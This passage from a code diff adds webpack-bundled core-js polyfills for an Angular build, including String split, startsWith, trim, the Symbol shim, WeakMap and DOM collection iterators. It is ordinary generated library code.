{ + var res = maybeCallNative(internalSplit, regexp, this, limit, internalSplit !== nativeSplit); + if (res.done) return res.value; + + var rx = anObject(regexp); + var S = String(this); + var C = speciesConstructor(rx, RegExp); + + var unicodeMatching = rx.unicode; + var flags = (rx.ignoreCase ? 'i' : '') + + (rx.multiline ? 'm' : '') + + (rx.unicode ? 'u' : '') + + (SUPPORTS_Y ? 'y' : 'g'); + + // ^(? + rx + ) is needed, in combination with some S slicing, to + // simulate the 'y' flag. + var splitter = new C(SUPPORTS_Y ? rx : '^(?:' + rx.source + ')', flags); + var lim = limit === undefined ? MAX_UINT32 : limit >>> 0; + if (lim === 0) return []; + if (S.length === 0) return callRegExpExec(splitter, S) === null ? [S] : []; + var p = 0; + var q = 0; + var A = []; + while (q < S.length) { + splitter.lastIndex = SUPPORTS_Y ? q : 0; + var z = callRegExpExec(splitter, SUPPORTS_Y ? S : S.slice(q)); + var e; + if ( + z === null || + (e = min(toLength(splitter.lastIndex + (SUPPORTS_Y ? 0 : q)), S.length)) === p + ) { + q = advanceStringIndex(S, q, unicodeMatching); + } else { + A.push(S.slice(p, q)); + if (A.length === lim) return A; + for (var i = 1; i <= z.length - 1; i++) { + A.push(z[i]); + if (A.length === lim) return A; + } + q = p = e; + } + } + A.push(S.slice(p)); + return A; + } + ]; + }, + !SUPPORTS_Y +); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.starts-with.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.starts-with.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var validateArguments = __webpack_require__(/*! ../internals/validate-string-method-arguments */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-string-method-arguments.js"); +var STARTS_WITH = 'startsWith'; +var CORRECT_IS_REGEXP_LOGIC = __webpack_require__(/*! ../internals/correct-is-regexp-logic */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-is-regexp-logic.js")(STARTS_WITH); +var nativeStartsWith = ''[STARTS_WITH]; + +// `String.prototype.startsWith` method +// https://tc39.github.io/ecma262/#sec-string.prototype.startswith +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: !CORRECT_IS_REGEXP_LOGIC }, { + startsWith: function startsWith(searchString /* , position = 0 */) { + var that = validateArguments(this, searchString, STARTS_WITH); + var index = toLength(Math.min(arguments.length > 1 ? arguments[1] : undefined, that.length)); + var search = String(searchString); + return nativeStartsWith + ? nativeStartsWith.call(that, search, index) + : that.slice(index, index + search.length) === search; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.strike.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.strike.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('strike'); + +// `String.prototype.strike` method +// https://tc39.github.io/ecma262/#sec-string.prototype.strike +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + strike: function strike() { + return createHTML(this, 'strike', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.sub.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.sub.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('sub'); + +// `String.prototype.sub` method +// https://tc39.github.io/ecma262/#sec-string.prototype.sub +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + sub: function sub() { + return createHTML(this, 'sub', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.sup.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.sup.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createHTML = __webpack_require__(/*! ../internals/create-html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-html.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-html-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-html-method.js")('sup'); + +// `String.prototype.sup` method +// https://tc39.github.io/ecma262/#sec-string.prototype.sup +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + sup: function sup() { + return createHTML(this, 'sup', '', ''); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.trim.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.trim.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalStringTrim = __webpack_require__(/*! ../internals/string-trim */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-trim.js"); +var FORCED = __webpack_require__(/*! ../internals/forced-string-trim-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/forced-string-trim-method.js")('trim'); + +// `String.prototype.trim` method +// https://tc39.github.io/ecma262/#sec-string.prototype.trim +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'String', proto: true, forced: FORCED }, { + trim: function trim() { + return internalStringTrim(this, 3); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.symbol.iterator.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.symbol.iterator.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Symbol.iterator` well-known symbol +// https://tc39.github.io/ecma262/#sec-symbol.iterator +__webpack_require__(/*! ../internals/define-well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-well-known-symbol.js")('iterator'); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.symbol.js": +/*!**********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.symbol.js ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// ECMAScript 6 symbols shim +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var IS_PURE = __webpack_require__(/*! ../internals/is-pure */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js"); +var $export = __webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var hiddenKeys = __webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var shared = __webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js"); +var setToStringTag = __webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js"); +var uid = __webpack_require__(/*! ../internals/uid */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js"); +var wellKnownSymbol = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js"); +var wrappedWellKnownSymbolModule = __webpack_require__(/*! ../internals/wrapped-well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/wrapped-well-known-symbol.js"); +var defineWellKnownSymbol = __webpack_require__(/*! ../internals/define-well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-well-known-symbol.js"); +var enumKeys = __webpack_require__(/*! ../internals/enum-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-keys.js"); +var isArray = __webpack_require__(/*! ../internals/is-array */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); +var nativeObjectCreate = __webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js"); +var getOwnPropertyNamesExternal = __webpack_require__(/*! ../internals/object-get-own-property-names-external */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names-external.js"); +var getOwnPropertyDescriptorModule = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var propertyIsEnumerableModule = __webpack_require__(/*! ../internals/object-property-is-enumerable */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var objectKeys = __webpack_require__(/*! ../internals/object-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js"); +var HIDDEN = __webpack_require__(/*! ../internals/shared-key */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js")('hidden'); +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var SYMBOL = 'Symbol'; +var setInternalState = InternalStateModule.set; +var getInternalState = InternalStateModule.getterFor(SYMBOL); +var nativeGetOwnPropertyDescriptor = getOwnPropertyDescriptorModule.f; +var nativeDefineProperty = definePropertyModule.f; +var nativeGetOwnPropertyNames = getOwnPropertyNamesExternal.f; +var $Symbol = global.Symbol; +var JSON = global.JSON; +var nativeJSONStringify = JSON && JSON.stringify; +var PROTOTYPE = 'prototype'; +var TO_PRIMITIVE = wellKnownSymbol('toPrimitive'); +var nativePropertyIsEnumerable = propertyIsEnumerableModule.f; +var SymbolRegistry = shared('symbol-registry'); +var AllSymbols = shared('symbols'); +var ObjectPrototypeSymbols = shared('op-symbols'); +var WellKnownSymbolsStore = shared('wks'); +var ObjectPrototype = Object[PROTOTYPE]; +var QObject = global.QObject; +var NATIVE_SYMBOL = __webpack_require__(/*! ../internals/native-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-symbol.js"); +// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173 +var USE_SETTER = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild; + +// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687 +var setSymbolDescriptor = DESCRIPTORS && fails(function () { + return nativeObjectCreate(nativeDefineProperty({}, 'a', { + get: function () { return nativeDefineProperty(this, 'a', { value: 7 }).a; } + })).a != 7; +}) ? function (it, key, D) { + var ObjectPrototypeDescriptor = nativeGetOwnPropertyDescriptor(ObjectPrototype, key); + if (ObjectPrototypeDescriptor) delete ObjectPrototype[key]; + nativeDefineProperty(it, key, D); + if (ObjectPrototypeDescriptor && it !== ObjectPrototype) { + nativeDefineProperty(ObjectPrototype, key, ObjectPrototypeDescriptor); + } +} : nativeDefineProperty; + +var wrap = function (tag, description) { + var symbol = AllSymbols[tag] = nativeObjectCreate($Symbol[PROTOTYPE]); + setInternalState(symbol, { + type: SYMBOL, + tag: tag, + description: description + }); + if (!DESCRIPTORS) symbol.description = description; + return symbol; +}; + +var isSymbol = NATIVE_SYMBOL && typeof $Symbol.iterator == 'symbol' ? function (it) { + return typeof it == 'symbol'; +} : function (it) { + return Object(it) instanceof $Symbol; +}; + +var $defineProperty = function defineProperty(it, key, D) { + if (it === ObjectPrototype) $defineProperty(ObjectPrototypeSymbols, key, D); + anObject(it); + key = toPrimitive(key, true); + anObject(D); + if (has(AllSymbols, key)) { + if (!D.enumerable) { + if (!has(it, HIDDEN)) nativeDefineProperty(it, HIDDEN, createPropertyDescriptor(1, {})); + it[HIDDEN][key] = true; + } else { + if (has(it, HIDDEN) && it[HIDDEN][key]) it[HIDDEN][key] = false; + D = nativeObjectCreate(D, { enumerable: createPropertyDescriptor(0, false) }); + } return setSymbolDescriptor(it, key, D); + } return nativeDefineProperty(it, key, D); +}; + +var $defineProperties = function defineProperties(it, P) { + anObject(it); + var keys = enumKeys(P = toIndexedObject(P)); + var i = 0; + var l = keys.length; + var key; + while (l > i) $defineProperty(it, key = keys[i++], P[key]); + return it; +}; + +var $create = function create(it, P) { + return P === undefined ? nativeObjectCreate(it) : $defineProperties(nativeObjectCreate(it), P); +}; + +var $propertyIsEnumerable = function propertyIsEnumerable(key) { + var E = nativePropertyIsEnumerable.call(this, key = toPrimitive(key, true)); + if (this === ObjectPrototype && has(AllSymbols, key) && !has(ObjectPrototypeSymbols, key)) return false; + return E || !has(this, key) || !has(AllSymbols, key) || has(this, HIDDEN) && this[HIDDEN][key] ? E : true; +}; + +var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(it, key) { + it = toIndexedObject(it); + key = toPrimitive(key, true); + if (it === ObjectPrototype && has(AllSymbols, key) && !has(ObjectPrototypeSymbols, key)) return; + var D = nativeGetOwnPropertyDescriptor(it, key); + if (D && has(AllSymbols, key) && !(has(it, HIDDEN) && it[HIDDEN][key])) D.enumerable = true; + return D; +}; + +var $getOwnPropertyNames = function getOwnPropertyNames(it) { + var names = nativeGetOwnPropertyNames(toIndexedObject(it)); + var result = []; + var i = 0; + var key; + while (names.length > i) { + if (!has(AllSymbols, key = names[i++]) && !has(hiddenKeys, key)) result.push(key); + } return result; +}; + +var $getOwnPropertySymbols = function getOwnPropertySymbols(it) { + var IS_OP = it === ObjectPrototype; + var names = nativeGetOwnPropertyNames(IS_OP ? ObjectPrototypeSymbols : toIndexedObject(it)); + var result = []; + var i = 0; + var key; + while (names.length > i) { + if (has(AllSymbols, key = names[i++]) && (IS_OP ? has(ObjectPrototype, key) : true)) result.push(AllSymbols[key]); + } return result; +}; + +// `Symbol` constructor +// https://tc39.github.io/ecma262/#sec-symbol-constructor +if (!NATIVE_SYMBOL) { + $Symbol = function Symbol() { + if (this instanceof $Symbol) throw TypeError('Symbol is not a constructor'); + var description = arguments[0] === undefined ? undefined : String(arguments[0]); + var tag = uid(description); + var setter = function (value) { + if (this === ObjectPrototype) setter.call(ObjectPrototypeSymbols, value); + if (has(this, HIDDEN) && has(this[HIDDEN], tag)) this[HIDDEN][tag] = false; + setSymbolDescriptor(this, tag, createPropertyDescriptor(1, value)); + }; + if (DESCRIPTORS && USE_SETTER) setSymbolDescriptor(ObjectPrototype, tag, { configurable: true, set: setter }); + return wrap(tag, description); + }; + redefine($Symbol[PROTOTYPE], 'toString', function toString() { + return getInternalState(this).tag; + }); + + propertyIsEnumerableModule.f = $propertyIsEnumerable; + definePropertyModule.f = $defineProperty; + getOwnPropertyDescriptorModule.f = $getOwnPropertyDescriptor; + __webpack_require__(/*! ../internals/object-get-own-property-names */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js").f = getOwnPropertyNamesExternal.f = $getOwnPropertyNames; + __webpack_require__(/*! ../internals/object-get-own-property-symbols */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js").f = $getOwnPropertySymbols; + + if (DESCRIPTORS) { + // https://github.com/tc39/proposal-Symbol-description + nativeDefineProperty($Symbol[PROTOTYPE], 'description', { + configurable: true, + get: function description() { + return getInternalState(this).description; + } + }); + if (!IS_PURE) { + redefine(ObjectPrototype, 'propertyIsEnumerable', $propertyIsEnumerable, { unsafe: true }); + } + } + + wrappedWellKnownSymbolModule.f = function (name) { + return wrap(wellKnownSymbol(name), name); + }; +} + +$export({ global: true, wrap: true, forced: !NATIVE_SYMBOL, sham: !NATIVE_SYMBOL }, { Symbol: $Symbol }); + +for (var wellKnownSymbols = objectKeys(WellKnownSymbolsStore), k = 0; wellKnownSymbols.length > k;) { + defineWellKnownSymbol(wellKnownSymbols[k++]); +} + +$export({ target: SYMBOL, stat: true, forced: !NATIVE_SYMBOL }, { + // `Symbol.for` method + // https://tc39.github.io/ecma262/#sec-symbol.for + 'for': function (key) { + return has(SymbolRegistry, key += '') + ? SymbolRegistry[key] + : SymbolRegistry[key] = $Symbol(key); + }, + // `Symbol.keyFor` method + // https://tc39.github.io/ecma262/#sec-symbol.keyfor + keyFor: function keyFor(sym) { + if (!isSymbol(sym)) throw TypeError(sym + ' is not a symbol'); + for (var key in SymbolRegistry) if (SymbolRegistry[key] === sym) return key; + }, + useSetter: function () { USE_SETTER = true; }, + useSimple: function () { USE_SETTER = false; } +}); + +$export({ target: 'Object', stat: true, forced: !NATIVE_SYMBOL, sham: !DESCRIPTORS }, { + // `Object.create` method + // https://tc39.github.io/ecma262/#sec-object.create + create: $create, + // `Object.defineProperty` method + // https://tc39.github.io/ecma262/#sec-object.defineproperty + defineProperty: $defineProperty, + // `Object.defineProperties` method + // https://tc39.github.io/ecma262/#sec-object.defineproperties + defineProperties: $defineProperties, + // `Object.getOwnPropertyDescriptor` method + // https://tc39.github.io/ecma262/#sec-object.getownpropertydescriptors + getOwnPropertyDescriptor: $getOwnPropertyDescriptor +}); + +$export({ target: 'Object', stat: true, forced: !NATIVE_SYMBOL }, { + // `Object.getOwnPropertyNames` method + // https://tc39.github.io/ecma262/#sec-object.getownpropertynames + getOwnPropertyNames: $getOwnPropertyNames, + // `Object.getOwnPropertySymbols` method + // https://tc39.github.io/ecma262/#sec-object.getownpropertysymbols + getOwnPropertySymbols: $getOwnPropertySymbols +}); + +// `JSON.stringify` method behavior with symbols +// https://tc39.github.io/ecma262/#sec-json.stringify +JSON && $export({ target: 'JSON', stat: true, forced: !NATIVE_SYMBOL || fails(function () { + var symbol = $Symbol(); + // MS Edge converts symbol values to JSON as {} + return nativeJSONStringify([symbol]) != '[null]' + // WebKit converts symbol values to JSON as null + || nativeJSONStringify({ a: symbol }) != '{}' + // V8 throws on boxed symbols + || nativeJSONStringify(Object(symbol)) != '{}'; +}) }, { + stringify: function stringify(it) { + var args = [it]; + var i = 1; + var replacer, $replacer; + while (arguments.length > i) args.push(arguments[i++]); + $replacer = replacer = args[1]; + if (!isObject(replacer) && it === undefined || isSymbol(it)) return; // IE8 returns string on undefined + if (!isArray(replacer)) replacer = function (key, value) { + if (typeof $replacer == 'function') value = $replacer.call(this, key, value); + if (!isSymbol(value)) return value; + }; + args[1] = replacer; + return nativeJSONStringify.apply(JSON, args); + } +}); + +// `Symbol.prototype[@@toPrimitive]` method +// https://tc39.github.io/ecma262/#sec-symbol.prototype-@@toprimitive +if (!$Symbol[PROTOTYPE][TO_PRIMITIVE]) hide($Symbol[PROTOTYPE], TO_PRIMITIVE, $Symbol[PROTOTYPE].valueOf); +// `Symbol.prototype[@@toStringTag]` property +// https://tc39.github.io/ecma262/#sec-symbol.prototype-@@tostringtag +setToStringTag($Symbol, SYMBOL); + +hiddenKeys[HIDDEN] = true; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.weak-map.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.weak-map.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var redefineAll = __webpack_require__(/*! ../internals/redefine-all */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js"); +var InternalMetadataModule = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js"); +var weak = __webpack_require__(/*! ../internals/collection-weak */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-weak.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var enforceIternalState = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js").enforce; +var NATIVE_WEAK_MAP = __webpack_require__(/*! ../internals/native-weak-map */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-weak-map.js"); +var IS_IE11 = !global.ActiveXObject && 'ActiveXObject' in global; +var isExtensible = Object.isExtensible; +var InternalWeakMap; + +var wrapper = function (get) { + return function WeakMap() { + return get(this, arguments.length > 0 ? arguments[0] : undefined); + }; +}; + +// `WeakMap` constructor +// https://tc39.github.io/ecma262/#sec-weakmap-constructor +var $WeakMap = module.exports = __webpack_require__(/*! ../internals/collection */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js")('WeakMap', wrapper, weak, true, true); + +// IE11 WeakMap frozen keys fix +// We can't use feature detection because it crash some old IE builds +// https://github.com/zloirock/core-js/issues/485 +if (NATIVE_WEAK_MAP && IS_IE11) { + InternalWeakMap = weak.getConstructor(wrapper, 'WeakMap', true); + InternalMetadataModule.REQUIRED = true; + var WeakMapPrototype = $WeakMap.prototype; + var nativeDelete = WeakMapPrototype['delete']; + var nativeHas = WeakMapPrototype.has; + var nativeGet = WeakMapPrototype.get; + var nativeSet = WeakMapPrototype.set; + redefineAll(WeakMapPrototype, { + 'delete': function (key) { + if (isObject(key) && !isExtensible(key)) { + var state = enforceIternalState(this); + if (!state.frozen) state.frozen = new InternalWeakMap(); + return nativeDelete.call(this, key) || state.frozen['delete'](key); + } return nativeDelete.call(this, key); + }, + has: function has(key) { + if (isObject(key) && !isExtensible(key)) { + var state = enforceIternalState(this); + if (!state.frozen) state.frozen = new InternalWeakMap(); + return nativeHas.call(this, key) || state.frozen.has(key); + } return nativeHas.call(this, key); + }, + get: function get(key) { + if (isObject(key) && !isExtensible(key)) { + var state = enforceIternalState(this); + if (!state.frozen) state.frozen = new InternalWeakMap(); + return nativeHas.call(this, key) ? nativeGet.call(this, key) : state.frozen.get(key); + } return nativeGet.call(this, key); + }, + set: function set(key, value) { + if (isObject(key) && !isExtensible(key)) { + var state = enforceIternalState(this); + if (!state.frozen) state.frozen = new InternalWeakMap(); + nativeHas.call(this, key) ? nativeSet.call(this, key, value) : state.frozen.set(key, value); + } else nativeSet.call(this, key, value); + return this; + } + }); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/web.dom-collections.iterator.js": +/*!*****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/web.dom-collections.iterator.js ***! + \*****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DOMIterables = __webpack_require__(/*! ../internals/dom-iterables */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/dom-iterables.js"); +var ArrayIteratorMethods = __webpack_require__(/*! ../modules/es.array.iterator */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.iterator.js"); +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var wellKnownSymbol = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js"); +var ITERATOR = wellKnownSymbol('iterator'); +var TO_STRING_TAG = wellKnownSymbol('toStringTag'); +var ArrayValues = ArrayIteratorMethods.values; + +for (var COLLECTION_NAME in DOMIterables) { + var Collection = global[COLLECTION_NAME]; + var CollectionPrototype = Collection && Collection.prototype; + if (CollectionPrototype) { + // some Chrome versions have non-configurable methods on DOMTokenList + if (CollectionPrototype[ITERATOR] !== ArrayValues) try { + hide(CollectionPrototype, ITERATOR, ArrayValues); + } catch (error) { + CollectionPrototype[ITERATOR] = ArrayValues; + } + if (!CollectionPrototype[TO_STRING_TAG]) hide(CollectionPrototype, TO_STRING_TAG, COLLECTION_NAME); + if (DOMIterables[COLLECTION_NAME]) for (var METHOD_NAME in ArrayIteratorMethods) { + // some Chrome versions have non-configurable methods on DOMTokenList + if (CollectionPrototype[METHOD_NAME] !== ArrayIteratorMethods[METHOD_NAME]) try { + hide(CollectionPrototype, METHOD_NAME, ArrayIteratorMethods[METHOD_NAME]); + } catch (error) { + CollectionPrototype[METHOD_NAME] = ArrayIteratorMethods[METHOD_NAME]; + } + } + } +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-jit-polyfills.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-jit-polyfills.js ***! + \******************************************************************************************************/ +/*! no exports provided */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony import */ var core_js_es_reflect__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! core-js/es/reflect */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/reflect/index.js"); +/* harmony import */ var core_js_es_reflect__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(core_js_es_reflect__WEBPACK_IMPORTED_MODULE_0__); +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ + + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-polyfills.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/es5-polyfills.js ***! + \**************************************************************************************************/ +/*! no exports provided */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony import */ var core_js_modules_es_symbol__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! core-js/modules/es.symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.symbol.js"); +/* harmony import */ var core_js_modules_es_symbol__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_symbol__WEBPACK_IMPORTED_MODULE_0__); +/* harmony import */ var core_js_modules_es_symbol_iterator__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! core-js/modules/es.symbol.iterator */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.symbol.iterator.js"); +/* harmony import */ var core_js_modules_es_symbol_iterator__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_symbol_iterator__WEBPACK_IMPORTED_MODULE_1__); +/* harmony import */ var core_js_modules_es_function_bind__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! core-js/modules/es.function.bind */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.function.bind.js"); +/* harmony import */ var core_js_modules_es_function_bind__WEBPACK_IMPORTED_MODULE_2___default = 